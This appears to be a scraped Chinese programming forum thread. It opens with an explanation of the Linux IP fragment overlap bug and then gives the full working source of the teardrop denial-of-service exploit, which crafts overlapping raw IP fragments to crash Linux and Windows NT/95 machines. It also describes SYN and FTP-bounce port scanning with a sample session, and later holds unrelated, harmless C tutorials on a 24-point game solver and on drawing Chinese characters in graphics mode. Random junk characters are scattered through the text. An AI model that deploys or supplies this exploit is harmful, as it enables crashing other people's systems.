ptr += i; /* ptr into fragment data */
}</P><P>/* Fill in the structure. */
fp-&gt;offset = offset;
fp-&gt;end = end;
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞：
8 W& V& ]9 _1 l. ^' i, @0 P第一个碎片：mf=1 offset=0 payload=20
敌二个碎片：mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
# g& F$ a8 R9 n" x% `2 xoffset=0
这样第二个碎片的 end=9+10=19
offset=offset+（20-offset）=20
) f& g5 I5 R. z7 |1 ~fp-〉len=19-20=-1； </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
* V0 c7 j2 p- e8 j" i7 j/*
3 P# V; P; r% H( ]. h* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
" q0 e/ _! k7 b1 c- |*
+ L7 N6 h8 c- Y# f' K5 X; B* Linux/NT/95 Overlap frag bug exploit
*
9 g% T( @9 y8 Q0 r6 _  |/ I* Exploits the overlapping IP fragment bug present in all Linux kernels and
& I1 ^- E5 P: ~; Y2 H0 o) Y* NT 4.0 / Windows 95 (others?)
7 y. ?5 x& [% g+ s% \# E*
* Based off of: flip.c by klepto
5 t# i* }( J. K: _0 o  {  L, P* Compiles on: Linux, *BSD*
2 i8 ~3 w. p+ M# i2 y, n*
* gcc -O2 teardrop.c -o teardrop
7 p) j& g# |6 }+ u9 c& i1 @* OR
. w9 S: `  K, y. A: @* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
& I1 v+ V0 T5 r5 J% {*/</P><P>#include <STDIO.H>
#include <STDLIB.H>
/ K/ `' M# I& n5 X( J9 B#include <UNISTD.H>
#include <STRING.H>
! p! v. O. c% s5 Y( t- t#include <NETDB.H>
#include <NETINET in.h>
#include <NETINET udp.h>
* ^  w% V& `* U1 \3 U' \#include <ARPA inet.h>
$ G! b) s' ~! U" P* W. X#include <SYS types.h>
& [7 {8 d; k, {' }  t6 Z#include <SYS time.h>
8 p4 x0 g& }* @. o0 U6 o6 K3 U#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
. W* a. J. L$ z3 G+ W2 P#define FIX(n) (n)
! X% ^8 I+ h' Z4 _$ m, S2 s# h#else /* OpenBSD 2.1, all Linux */
7 V& V6 z6 ^6 o' V8 c8 H+ o$ E#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
* W! @2 l# f) o) `1 G% G4 F#define IPH 0x14 /* IP header size */
, d) ^7 q" Y  h" P  v#define UDPH 0x8 /* UDP header size */
6 Z. @5 Z% B% f) N& s! D#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
; {7 D. \$ e0 X' y#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
+ r5 }6 j' }! j8 W& B' m*/</P><P>void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
{
int one = 1,
count = 0,
i,
3 r: o6 a, ^" y% [rip_sock;
/ O6 o, h  o! |u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
* e; L% S- S" v9 ^0 |$ C& C4 U{
. G- H6 i1 l& u2 b$ j! M9 M& D! Gperror("raw socket");
exit(1);
}
7 h' A0 f2 _4 w0 N3 m//由系统处理IP校验和。
% ]' T* C) Z2 B; j. H  Aif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
# W2 M. E8 Y: \9 T- o&lt; 0)
{
perror("IP_HDRINCL");
3 i9 ]( A2 Z. O) ?exit(1);
7 r. M. p/ k* e( w3 c* Q0 p}</P><P>if (argc &lt; 3) usage(argv[0]);
& {# |1 C1 H; n8 ]! _5 sif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
1 k, v4 `( ]! [/ {# j; f3 m{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
- Y- d8 n5 X. E- [* _) N5 h$ _& e* @}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
6 {. D  v: S- Z8 |& J5 L{
switch (i)
{
7 o- T- N( ]6 D' \3 G, a, Q. zcase 's': /* source port (should be emphemeral) */
5 d0 o3 h2 I2 _- G& G% z' B$ a3 Asrc_prt = (u_short)atoi(optarg);
break;
: n* a5 F( T, g2 r- mcase 't': /* dest port (DNS, anyone?) */
5 U& {: f$ e6 _0 b+ mdst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
3 w/ y9 V3 @9 V) m, Pbreak; /* NOTREACHED */
9 r$ b7 j1 q! N  \! H}
/ B. I- G2 |" N}</P><P>srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
7 C4 D/ b. M2 s7 l6 Xif (!dst_prt) dst_prt = (random() % 0xffff);
" }6 e: [* u6 mif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
. g- R8 A' y  l+ X  Y# j9 O9 Waddr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
  j; w! a5 q: O) U, s{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
9 G, r9 v+ u. G- y, ~8 |, Rfprintf(stderr, "]\n");
# @! ?! p/ |' Dreturn (0);
* ?& V% j* r( O( K8 U}</P><P>/*
0 h  d" ^+ S9 h& J# k" @% p, Q) K* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
0 J) k* X' g3 K* c) D* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
. g; W) T6 {" G9 Tu_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
% {$ T+ I- j% su_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
sin.sin_port = src_prt;
5 h+ n/ j; {/ vsin.sin_addr.s_addr = dst_ip;</P><P>/*
* Grab some memory for our packet, align p_ptr to point at the beginning
( X6 s7 t% |% h( l/ S5 i$ v: z7 ^# @* of our packet, and then fill it with zeros.
' ]) f' X: r( q*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
2 h( ~8 ]& g/ u/ v2 |% Sp_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
( w; s: J) M4 d9 r* N8 C1 J. h, Imemcpy(p_ptr, &amp;byte, sizeof(u_char));
- I+ I6 @, L( }p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
5 {/ U: a2 X, D3 xp_ptr += 2;
; N5 |. Z3 P6 z- f*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
) f/ a1 F% D# J& R4 z*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
. c5 [  g' e6 P*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
" e0 ]: B* i% ymemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
6 k( ~5 V% I, V' W* B3 Ip_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
2 o# h, I* G% H- ^p_ptr += 2;
# y- n2 Z- t4 _; I4 @% _*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
7 w, j7 ]: `# C8 W' c  W5 o6 ?. Dp_ptr += 2;
8 v3 B( v: G$ m6 D, \7 z*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
- |; |+ e0 G# |( l3 O' g- [sizeof(struct sockaddr)) == -1)
{
, L4 v2 A* Q& H. S2 }( X" }; ?perror("\nsendto");
free(packet);
exit(1);
. s, n0 w: Y& e$ S4 H}</P><P>/* We set the fragment offset to be inside of the previous packet's
8 h9 O& L# n( {* payload (it overlaps inside the previous packet) but do not include
$ ], {( {! j7 U: O- d* enough payload to cover complete the datagram. Just the header will
' d$ b0 Q1 R* s* do, but to crash NT/95 machines, a bit larger of packet seems to work
* H; H" F, |& ?' s" n) w* better.
*/
% q$ k$ \5 _% M$ Y. y* A! jp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
& T. y6 @) ~  R5 R8 P" rp_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
# Y1 D( I( [+ s# Dsizeof(struct sockaddr)) == -1)
6 [! e$ L3 {- r! n* f+ [3 b{
: n" J6 S: H) qperror("\nsendto");
6 t/ L# c" O! K; g5 T5 Nfree(packet);
4 n0 R# c* r# n- N* N  V0 Wexit(1);
2 \" {, y; ]( U}
3 e( w  S. x- a" v# K9 _: {free(packet);
}</P><P>u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
" _4 E9 _% Y, K6 Pstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
9 j) N! C1 o0 L{
+ r9 ~$ K, q# O- \( sif (!(host_ent = gethostbyname(host_name))) return (0);
, d# I2 ^1 E, S# `6 M& T+ d4 gbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
6 U' L  k/ c1 p) O: ~' i}
- V* ]: m  X0 _% u  _- ireturn (addr.s_addr);
}</P><P>void usage(u_char *name)
/ C  F" h7 S0 Q1 m( \" W- \* w8 c1 ]{
fprintf(stderr,
, s3 p! m$ J& F6 z* d% ~"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
8 u% t6 O7 H5 nname);
exit(0);
}</P><P>
0 k6 A4 g" ~  T, e# ]- \0 O4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法：
(1) Half-open（半打开）
& a! y4 N6 \0 R0 o4 x利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)，
如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。</P><P>(2) FTP scanner
6 A8 v/ D# s/ w. B% }! s3 u利用了FTP的port命令，例如可以这样作：
选择一个FTP服务器，连上后令port命令指向目标机，如果返回
: Q3 r0 i& ?$ @6 R( w, L值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则
该端口无服务。
telnet 192.168.1.13 21
) Q0 r0 S0 _$ R) y# cTrying 192.168.1.13...
Connected to pp.bricks.org.
Escape character is '^]'.
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
& N" C7 C$ q9 z' e' J1 PThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
, i, n" H) V, k. n2 Y4 W$ k331 Guest login ok, send your complete e-mail address as password.
pass aa@aa.aa
9 N: k1 g7 \0 C' [9 l  C230 Guest login ok, access restrictions apply.
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
/ v7 A) h- W- ~5 t& O425 Can't build data connection: Connection refused.
//该端口未活动
150 Opening ASCII mode data connection for file list.
% \$ W$ T0 f2 V# x. a& k$ ]  ^' b226 Transfer complete.
7 W4 S4 U: V* h6 S8 F8 {7 j5 d' [$ E//该端口活动中
但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。</P><P>上述两种方法是通用的，而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理：</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
SYN|FIN ACK or SYN|ACK* RST
ACK Nothing RST
  k7 _$ `7 g8 a* i0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读，
若发现一个主机不停的象你发送（SYN）包，却没有完成连结，可以认
定它在向你做portscan。</P><P>notes：
早期的portscan程序是老老实实的向你一个一个端口连（完成三次握手），
! a. b. p  q  e: P( b而一些antiscan是在一个平时不用的端口上起一个服务器，并认为连上来的
* ]/ v" m. Y+ E( g  b都是向它scan。</P>

---

作者: 韩冰    时间: 2004-10-4 02:40
< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
　　漫长的假期对于我来说总是枯燥无味的，闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单，就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目，这不，我们刚玩了一会儿，便遇到了一个难题——3、6、6、10（其实后来想想，这也不算是个太难的题，只是当时我们的脑筋都没有转弯而已，呵呵）。
& z3 ~3 L& S% r+ B9 |* z
! U, T( R% y. p5 R7 \, z$ }　　问题既然出现了，我们当然要解决。冥思苦想之际，我的脑中掠过一丝念头——何不编个程序来解决这个问题呢？文曲星中不就有这样的程序吗？所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法，最先想到的自然是穷举法（后来发现我再也想不到更好的方法了，悲哀呀，呵呵），因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举，不就可以利用这个计算程序来完成这个计算二十四点的程序吗？确定了这个思路之后，我开始想这个问题的细节。
; _3 X  ~% @8 r首先穷举的可行性问题。我把表达式如下分成三类——
0 D! J+ M& Z! B: Q4 v<FONT color=#ff0000>1、 无括号的简单表达式。
2、 有一个括号的简单表达式。
  V+ Y0 K- H8 I1 _2 {0 J$ H0 L3、 有两个括号的较复4、 杂表达式。
2 C/ n8 b' B3 Z6 r* D( _1 ^$ F</FONT>穷举的开始我对给出的四个数进行排列，其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列，算法如下:
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
4 C1 V) N9 r1 x: L9 z- ~, s5 T/* c[] 存放四张牌的数组 */
/* k[] c[]种四张牌的代号，其中k[I]=I+1。
/ ?5 B5 C3 }& U! d0 y# u' t* `2 O7 X用它来代替c[]做处理，考虑到c[]中有可能出现相同数的情况 */
7 {! O% B: \4 `" e- \/* kans[] 暂存生成的排列组合 */
- G* C  S8 O( m/* j 嵌套循环的次数 */
int fans(c,k,ans,kans,j)
* {1 F2 x1 o1 K* a/ F0 V2 J" ~" B4 Pint j,k[],c[];char ans[],kans[];
{ int i,p,q,r,h,flag,s[4],t[4][4];
1 s+ |( E5 }6 Xfor(p=0,q=0;p&lt;4;p++)
{ for(r=0,flag=0;r<J;R++)
! D. ^, y8 H# r; W8 C5 d if(k[p]!=kans[r]) flag++;
if(flag==j) t[j][q++]=k[p];
}
for(s[j]=0;s[j]&lt;4-j;s[j]++)
: q8 j) r: V4 R% C* }" ^/ f{ kans[j]=t[j][s[j]];
7 W) @; G7 C& L! Q: `; O* Iif(j==3) { for(h=0;h&lt;4;h++)
  L  p9 C/ ^& a% Z0 dans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
) c' E; E% d4 u2 e3 ^5 ?达式中的位置 */
for(h=0;h&lt;3;h++)
) W% k- B, x6 Q8 }* g, osymbol(ans,h); /* 在表达式中添加运算符号 */
8 m1 ]: G' \) q, S}
else { j++;
fans(c,k,ans,kans,j);
9 ]0 N$ `/ Y! ]; B' z: f3 Kj--;
1 I0 V2 W" O; x/ a; Q}
}
5 x* d/ w9 w$ p}</FONT>
" \$ w  a+ B6 |1 K) l; M+ k
# O; l( p% w* b　　正如上面函数中提到的，在完成四张牌的排列之后，在表达式中添加运算符号。由于只有四张牌，所以只要添加三个运算符号就可以了。由于每一个运算符号可重复，所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举，算法如下:
) f- L( s7 x" |' x
+ u2 X5 \9 ]  B9 `<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
# i( B4 Z) A' A( hint sans(ans,sy,j,h)
9 O3 D1 ?! G1 [4 U3 qchar ans[],sy[];int j,h;
7 Q: T( |0 z7 X2 A2 _, r# M( ~{ int i,p,k[3],m,n; char ktans[20];
for(k[j]=0;k[j]&lt;4;k[j]++)
3 L9 A6 e$ ]6 B3 ^{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
- C, z8 @- _1 E) o+ Y9 e. w8 y% f5 d& s这里的三个运算符号分别存放在1、3、5位*/
if(j==2)
3 v% c/ C  ?  N, _0 [{ ans[5]=sy[k[j]];
) o, R/ ]1 `) V/* 此处根据不同的表达式形式再进行相应的处理 */
, S, L8 l/ V" p6 b  I$ f}
else { j++; sans(ans,sy,j--,h); }
}
& ?' i! k( h- w3 b}

</FONT>　　好了，接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类，是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种，无括号自然不用另行处理；而第二种情况由以下代码可以得出其可能性有六种，其中还有一种是多余的。
4 b: N& F( c- b' C% C+ |( Wfor(m=0;m&lt;=4;m+=2)
for(n=m+4;n&lt;=8;n+=2)
　　这个for循环给出了添加一个括号的可能性的种数，其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0，n=8，也就是放在表达式的两端。这真是多此一举，呵呵！最后一种情况是添加两个括号，我分析了一下，发现只可能是这种形式才不会是重复的——（a b）(c d)。为什么不会出现嵌套括号的情况呢？因为如果是嵌套括号，那么外面的括号肯定是包含三个数字的（四个没有必要），也就是说这个括号里面包含了两个运算符号，而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的，则肯定可以通过一些转换去掉括号（你不妨举一些例子来试试），也就是说这一个括号没有必要；如果这两个运算符号不是同一优先级，也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高，自然就没有必要在它的外面添加括号了。
3 d1 j, l9 z$ g2 L( |/ x
! Q( ^: R) d4 @/ d　　综上所述，所有可能的表达式的种数为24*64*（1+6+1）=12288种。哈哈，只有一万多种可能性（这其中还有重复），这对于电脑来说可是小case哟！所以，对于穷举的可行性分析和实现也就完成了。
- R' A* r* r5 I$ S7 m</P>< align=left>　　接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用，那么什么是栈呢？栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的，即最后存放入栈的货物（堆在靠出口处）先被提取出去，符合“先进后出，后进先出”的原则。这种结构犹如子弹夹。
' k2 l, V! }% V; W- [  L3 H在栈中，元素的插入称为压入（push）或入栈，元素的删除称为弹出（pop）或退栈。

6 [- _$ W. V8 i# b" r1 d! f　　栈的基本运算有三种，其中包括入栈运算、退栈运算以及读栈顶元素，这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
( V  M8 V, R! h% g7 `1 I! l' b1 G
) Y- s4 H3 Z9 m5 y) ?+ J9 Q　　那么作为栈的著名应用，表达式的计算可以有两种方法。

! v/ K0 X& U' ]　　<FONT color=#ff0000>第一种方法——</FONT>
　　首先建立两个栈，操作数栈OVS和运算符栈OPS。其中，操作数栈用来记忆表达式中的操作数，其栈顶指针为topv，初始时为空，即topv=0；运算符栈用来记忆表达式中的运算符，其栈顶指针为topp，初始时，栈中只有一个表达式结束符，即topp=1，且OPS（1）=‘；’。此处的‘；’即表达式结束符。
: i/ a8 r. x5 i　　然后自左至右的扫描待处理的表达式，并假设当前扫描到的符号为W，根据不同的符号W做如下不同的处理：
1、 若W为操作数
2、 则将W压入操作数栈OVS
4 `6 D! V% U: t9 k3、 且继续扫描下一个字符
! X4 t( ~7 H) s! s# O4、 若W为运算符
; K$ a5 L8 P. m. v3 g5、 则根据运算符的性质做相应的处理：
. ^; N% M6 e0 U(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS，并继续扫描下一个字符。
(2)、若运算符W为表达式结束符‘；’且运算符栈栈顶的运算符也为表达式结束符（即OPS(topp)=’;’），则处理过程结束，此时，操作数栈栈顶元素（即OVS（topv））即为表达式的值。
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号（即OPS（topp）=’(‘)，则将左括号从运算符栈谈出，且继续扫描下一个符号。
3 p0 }+ K' h2 _3 i(4)、若运算符的右不大于运算符栈栈顶的运算符（即OPS(topp)），则从操作数栈OVS中弹出两个操作数，设先后弹出的操作数为a、b，再从运算符栈OPS中弹出一个运算符，设为+，然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。

# C% M2 N, a6 v1 y3 q- g<FONT color=#ff0000>　　第二种方法——</FONT>
* Z# Z9 v) {9 f0 R  p5 I" m　　首先对表达式进行线性化，然后将线性表达式转换成机器指令序列以便进行求值。

* L. [/ Q  \3 K8 ~4 C* a4 c　　那么什么是表达式的线性化呢？人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式，有时必须借助括号才能将运算顺序表达清楚，而且处理也比较复杂。
- A( N2 }4 t* P" U& |" V. ~
8 D5 N1 q2 y: o; m+ B, x　　 1929年，波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系，后来人们称之为波兰表示法（Polish notation）。波兰表达式的特点是运算符位于运算对象的后面，因此称为后缀表示。在对波兰表达式进行运算，严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
表达式 波兰表达式
- \  \9 i2 h! |' A6 s' w) t. eA-B AB-
9 }6 s. e8 i3 t7 w% j7 U% z( c（A-B）*C+D AB-C*D+
* {8 ?5 {. R: J& SA*（B+C/D）-E*F ABCD/+*EF*-
（B+C）/（A-D） BC+AD-/
. F% M1 @4 T, D# }( z7 C* W
/ W9 p$ |: e1 u7 E- \5 c  F　　OK，所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式，利用栈可以把表达式变换成波兰表达式，也可以利用栈来计算波兰表达式的值。
" L8 H8 F. _% E$ D' g4 t: n) g+ B
% q, r5 l0 E/ E( y6 Y0 F　　至于转换和计算的过程和第一种方法大同小异，这里就不再赘述了。
* Y: d/ H! u& E0 u$ b& P
( k% f9 d1 Z9 e　　下面给出转换和计算的具体实现程序——
, V% _4 L7 W! w- W4 M; f
( I7 O9 j0 j/ H( {5 }( B<FONT color=#009900>/* first函数给出各个运算符的优先级，其中=为表达式结束符 */
int first(char c)
$ B% p+ A' R3 T7 O, l9 y$ N- D{ int p;
% t8 e( T6 t' @6 R2 kswitch(c)
{ case '*': p=2; break;
case '/': p=2; break;
) B5 K, ?& D% \& c1 `case '+': p=1; break;
% N5 M- G  j- i2 s, q. gcase '-': p=1; break;
case '(': p=0; break;
1 U' P4 K( q6 v9 G1 P0 scase '=': p=-1; break;
4 u3 {" _. s' C+ h+ L, z3 h}
1 {6 z8 Z/ s4 f! F+ ]/ s0 xreturn(p);
* x' Y# O8 A: H; @9 x}
/* 此函数实现中缀到后缀的转换 */
% f' M& T$ t, c) J: f" c/* M的值宏定义为20 */
3 N& l' X0 |0 Y/ p8 T& J/* sp[]为表达式数组 */
% g7 p! e+ b( e& g2 x/ Iint mid_last()
- |) \) |8 Y: D7 i  G0 Y{ int i=0,j=0; char c,sm[M];
c=s[0]; sm[0]='='; top=0;
# e7 R- M4 }0 T3 ~; j' h! ywhile(c!='\0')
{ if(islower(c)) sp[j++]=c;
9 k% W6 ]+ ]% D: x  }% e1 celse switch(c)
{ case '+':
: b' _! G' w) c. {$ B7 N7 Z+ kcase '-':
case '*':
case '/': while(first(c)&lt;=first(sm[top]))
sp[j++]=sm[top--];
sm[++top]=c; break;
case '(': sm[++top]=c; break;
case ')': while(sm[top]!='(')
' k6 E! B- u3 Dsp[j++]=sm[top--];
6 }1 }3 n  ~5 a! u6 @top--; break;
default :return(1);
}
c=s[++i];
6 I, V# h* h+ x- h* w' I7 m% S}
while(top&gt;0) sp[j++]=sm[top--];
) F* S- D8 e$ msp[j]='\0'; return(0);
2 h9 p$ R- z/ l1 C}
/* 由后缀表达式来计算表达式的值 */
int calc()
{ int i=0,sm[M],tr; char c;
% c3 E/ Z% _& a, F+ V0 oc=sp[0]; top=-1;
while(c!='\0')
  Y( l- }: x$ Q( e( y{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数，
8 O2 j- ?3 h5 C" b+ P这样才可以更方便的处理非一位数，
0 E, [) w5 h. X# L! w0 lver数组中存放着这些字母所代替的数*/
4 [3 v4 V: ]0 t  F- F* Qelse switch(c)
; O2 y' p" a+ g% e{ case '+': tr=sm[top--]; sm[top]+=tr; break;
case '-': tr=sm[top--]; sm[top]-=tr; break;
case '*': tr=sm[top--]; sm[top]*=tr; break;
case '/': tr=sm[top--];sm[top]/=tr;break;
default : return(1);
7 y+ G/ L0 r6 b( W* p- h+ Z, D! D}
8 v$ h" I- u8 |7 C; D& ~c=sp[++i];
}
" \  u2 p0 S: q) T1 Y8 h# bif(top&gt;0) return(1);
& w0 k$ ~; J! y! R# [else { result=sm[top]; return(0); }
4 ?% d$ i. @' {. E  a}
$ N6 ?+ ~  @2 i) [- q. Z/ v</FONT>
6 D; }# c1 ]6 [% J4 i& Y　　这样这个程序基本上就算解决了，回过头来拿这个程序来算一算文章开始的那个问题。哈哈，算出来了，原来如此简单——（6-3）*10-6=24。
2 v0 s/ F6 z. p3 a% ]
& T2 \7 L0 A/ X! r0 H- K　　最后我总结了一下这其中容易出错的地方——

　　1、 排列的时候由于一个数只能出现一次， 所以必然有一个判断语句。但是用什么来判断，用大小显然不行，因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号，在排列结束时，通过这个代号找到这个数。

; Y' h. g% l5 W9 y; {　　2、在应用嵌套函数时，需仔细分析程序的执行过程，并对个别变量进行适当的调整（如j的值）,程序才能正确的执行。

　　3、在分析括号问题的时候要认真仔细，不要错过任何一个可能的机会，也要尽量使程序变得简单一些。不过我的分析可能也有问题，还请高手指点。
% q" j3 X3 d% {7 s+ K' M4 }1 v" \
! P/ t; d& a& {" z/ S　　4、在用函数对一个数组进行处理的时候，一定要注意如果这个数组还需要再应用，就必须将它先保存起来，否则会出错，而且是很严重的错误。
) o( V5 J7 c8 f- W5 `5 y  R5 d
  x8 T4 A3 e, I9 z+ E# F6 `　　5、在处理用户输入的表达式时，由于一个十位数或者更高位数是被分解成各位数存放在数组中，所以需对它们进行处理，将它们转化成实际的整型变量。另外，在转化过程中，用一个字母来代替这个数，并将这个数存在一个数组中，且它在数组中的位置和代替它的这个字母有一定的联系，这样才能取回这个数。

　　6、由于在穷举过程难免会出现计算过程中有除以0的计算，所以我们必须对calc函数种对于除的运算加以处理，否则程序会因为出错而退出（Divide by 0）。

　　7、最后一个问题，本程序尚未解决。对于一些比较著名的题目，本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数，而本程序并没有考虑到小数。
$ Q4 r# V! l; R5 k+ H9 c' x- J</P>

---

作者: 韩冰    时间: 2004-10-4 02:41
< align=center><FONT color=#cc0000 size=5><B>
图形模式下的汉字显示</B></FONT></P><>　</P><>　我们在编写一些应用软件时，为了使软件更为通俗浅显、易学易用，具备汉字的用户界面是必不可少的条件。在文本模式下，只要有汉字操作系统的支持，显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习Ｃ语言！");}
  \; R7 D/ w' P2 r. T9 }; a% G　　在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究，并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持，但用到其中的字库文件。如ＵＣＤＯＳ的HZK16。
　　汉字显示的第一步是打开字库文件。
　　函数： int OpenHz(const char *Hz16Path); 功能：打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后，就可以用下面介绍的函数显示16点阵的汉字。
　　函数： int WrtHz16(int x,int y,int z,int color,char *p); 功能：在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
8 g& n4 M7 v% V{
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
( r  ]; ]; w, `: {* ?int rec,i1,i2,i3; /*z:space between;*/
$ n, J+ ]/ [7 h: hlong l; /*color:txt color*/
char by[32]; /*p:HZ str*/
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
4 P' q" t: r6 e4 N; oif(i&gt;0xa1)
if(f==0){
c1=(i-0xa1)&amp;0x07f;
f=1;
}
else{
